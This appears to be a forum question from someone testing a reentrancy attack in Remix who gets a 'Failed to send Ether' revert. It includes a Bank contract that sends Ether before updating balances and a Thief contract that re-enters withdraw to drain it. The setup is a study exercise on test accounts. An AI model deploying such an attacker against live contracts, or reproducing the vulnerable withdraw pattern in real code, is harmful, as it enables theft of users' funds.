I am trying to test this code for a reentrancy attack on remix but I keep getting the following error:
transact to Thief.attack errored: VM error: revert. revert The transaction has been reverted to the initial state. Reason provided by the contract: "Failed to send Ether". Debug the transaction to get more information.
I deployed the bank contract using address 1 and deposited some ether from addresses 1, 2, and 3. I then deployed the Thief contract using address 4 and bank address as input. I then called the attack function on the deployed Thief contract using address 4 and 2 ethers as input.
this is the code:
// SPDX - License-Identifier: MIT
pragma solidity ^0.8.17;
contract Bank {
mapping(address => uint) public balances;
function deposit() public payable{
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount);
(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");
balances[msg.sender] -= _amount;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
contract Thief {
Bank public bank;
constructor(address _bankAddress) public {
bank = Bank(_bankAddress);
}
receive() external payable{
if(address(bank).balance >= 1 ether){
bank.withdraw(1 ether);
}
}
function attack() external payable {
require(msg.value >= 1 ether);
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}